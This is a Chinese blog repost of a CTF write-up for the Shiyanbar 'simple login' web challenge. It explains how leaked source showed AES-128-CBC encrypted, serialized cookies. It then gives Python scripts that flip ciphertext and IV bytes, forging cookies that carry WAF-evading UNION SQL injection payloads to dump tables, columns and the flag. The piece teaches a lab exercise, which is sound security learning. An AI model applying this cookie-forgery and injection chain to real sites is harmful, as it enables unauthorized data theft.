以下是引用的pcat大神的Writeup:

这题名字叫简单的登录题,实际上一点都不算简单,要认真写一个writeup确实很费劲,但pcat还是写了一篇过得去的。

1.做题的初步收集、整理
index.php是一个普通的登录框,输入id来登录,我们用burpsuite抓下包,并使用Repeater功能。
1) 当post id时候,返回包Set-cookie里包含iv和cipher,这2个英文单词玩密码学就很容易理解,iv就是Initialization Vector(初始化向量),cipher就是密文
2) 使用Repeater功能不断的发送相同的包,返回的iv和cipher都不一样,基本断定每次的iv值是随机生成,另外iv和cipher的格式都是先base64编码后再进行urlencode编码。这里逻辑几句,不少人总看到base64解码后的字符是乱码后,就问该怎么解密之类的话,其实不要搞混了,base64不是一种加密方式,只是一种编码方式,base64编码后可以让不可视字符可视化(这才是最大的作用),而不起任何加密作用。
3) 把iv值经过urldecode再base64解码后用len()得到长度为16,基本猜测算法是aes,而且大胆猜测是aes的cbc模式
4) 从id=1入手,发现有#和-都会被waf检测到
5) 当cookies里有iv值和cipher值,然后不提交任何参数(包括id),就会显示Hello,猜测是根据传入的iv和cipher来解码后,再参与内部的sql查询出用户名
6) 由于aes的key值不知道,我就觉得这题比较难做了,然后先按照web题的基本思路———扫描,打开御剑扫一下,幸运的发现test.php泄露了源码。整理下源码中的逻辑:
*1 若是post id,就先进行waf检测,检测过了才随机生成iv值,并且对array('id'=>$id)进行php的序列化操作,再进行aes加密,再分别对iv和cipher进行base64编码并设置到cookies
*2 如果cookies里有iv和cipher,就对其base64解码,然后对其aes解密,再进行php反序列化,如果不能反序列化则返回解密后的明文的base64编码,如果可以则进行sql语句拼接,查询若是行数>0就显示其username列的值,否则都是Hello!
*3 难点1,过滤了#-=,还有union和procedure
*4 难点2,注入点在limit后面,而且后面还是",0",0本来就是让limit取出0行,而前面的逗号更是难弄掉
*5 aes的加密模式aes-128-cbc
7) mysql语法,limit后面只能procedure还有for update,还有尝试了堆叠注入,也是不行。
8) 本题算比较好点,mysql会显示错误信息,这就可以弄报错注入(当前是得有前提的)

2.构建能绕过过滤的payload
尝试了很多,发现post id=1;%00(这里关键是;%00)可以绕过去,然后登录后会显示Hello!rootzz,说明user表里的值是rootzz,而并不是我们所期待的flag值(如果那么简单就好了- -)
关键的关键字都被过滤,这可怎么办?
这时候要冷静分析下。
1) 直接post id时候是有过滤
2) 在cookies解密出来是没有过滤,就直接拼接sql语句
于是我们可以大胆猜测,修改cookies的值来达到解密后的明文可以构造sql注入。

这并不是无的放矢,在密码学里是可以做到的

3.aes的cbc byte flipping attack(cbc字节翻转攻击)
先放出参考文章,自己可以多去阅读
推荐英文文章:
http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/
以下是中文译文(其中图片挂了,结合英文版就没问题):
http://wps2015.org/drops/drops/CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB-101Approach.html
=======
cbc字节翻转攻击,我就不叙述原理,我直接演示一个简单的操作:
把id=12的密文修改后解析为id=1#

这里因为序列化是php的,我先写了一个php文件,便于显示

<?php
$id=@$_POST['id'];
$info = array('id'=>$id);
$plain = serialize($info);
$row=ceil(strlen($plain)/16);
for($i=0;$i<$row;$i++){
    echo substr($plain,$i*16,16).'<br/>';
}

当post id=12时候,显示
a:1:{s:2:"id";s:
2:"12";}
每一行16个字节,这里12的2对应上一行{的偏离量是4
有这个准备后,
在原题里post id=12,得到下面(这只是示例)
iv=ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D
cipher=U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D

运行以下脚本

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
cipher='U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print cipher_new

得到cipher_new
U9qq55BOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D
再用之前的iv一起去访问,得到
base64_decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9') can't unserialize
这是因为iv值没修改,导致无法反序列化

运行以下脚本

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
iv='ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9')
iv_new=''
for i in range(16):
    iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new

得到iv_new
hHlJ4xkEBvpldXUI0wqnNA%3D%3D
再跟之前的cipher_new,一起去访问,得到
Hello!rootzz
也就是id=12顺利变成了id=1#注入成功。

离成功就差一步了,
1) 把上面的过程编写成脚本
2) 尽可能只翻转一个字节,例如把2nion翻转为union,末尾再用;%00来注释掉后面
3) 由于逗号被过滤,用join来代替;等号被过滤,用regexp来代替

以下是我的脚本:

# -*- coding:utf8 -*-
# 请保留我的个人信息,谢谢~!
__author__='pcat@chamd5.org'

from base64 import *
import urllib
import requests
import re

def mydecode(value):
    return b64decode(urllib.unquote(value))

def myencode(value):
    return urllib.quote(b64encode(value))

def mycbc(value,idx,c1,c2):
    lst=list(value)
    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
    return ''.join(lst)

def pcat(payload,idx,c1,c2):
    url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
    myd={'id':payload}
    res=requests.post(url,data=myd)
    cookies=res.headers['Set-Cookie']

    iv=re.findall(r'iv=(.*?),',cookies)[0]
    cipher=re.findall(r'cipher=(.*)',cookies)[0]

    iv_raw=mydecode(iv)
    cipher_raw=mydecode(cipher)

    cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))
    cookies_new={'iv':iv,'cipher':cipher_new}
    cont=requests.get(url,cookies=cookies_new).content
    plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])

    first='a:1:{s:2:"id";s:'
    iv_new=''
    for i in range(16):
        iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
    iv_new=myencode(iv_new)

    cookies_new={'iv':iv_new,'cipher':cipher_new}
    cont=requests.get(url,cookies=cookies_new).content
    print 'Payload:%s\n>> ' %(payload)
    print cont
    pass


def foo():
    pcat('12',4,'2','#')
    pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
    pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
    pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
    pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u')
    pass

if __name__ == '__main__':
    foo()
    print 'ok'

西普CTF-简单的登录题-以夕阳落款 如果你觉得我写得还可以的话,请给我点个赞,谢谢。

不过在windows里面,注意编码可能有点问题,会报错,把print cont改为print cont.decode("utf8","ignore").encode("gbk","ignore")即可

Flag:

温馨提示: 此处内容需要评论本文后刷新才能查看,支付2元即可直接查看所有Flag。

小广告:关于获取西普实验吧所有Writeup请点击这里查看索引

查看所有Flag需要付费,需要获取所有Flag的童鞋请访问这里成为付费用户,可以自助把自己的注册邮箱加入网站白名单,即可免回复看到本站所有Flag

Flag大全地址:所有Flag

PS:本站不是实验吧的官方站点,纯粹是个人博客,收取Flag费用仅是维持服务器费用,做站不易,且行窃珍惜,如果喜欢我的博客,愿意捐赠的,可以扫描下面的二维码

微信二维码:
支付宝二维码: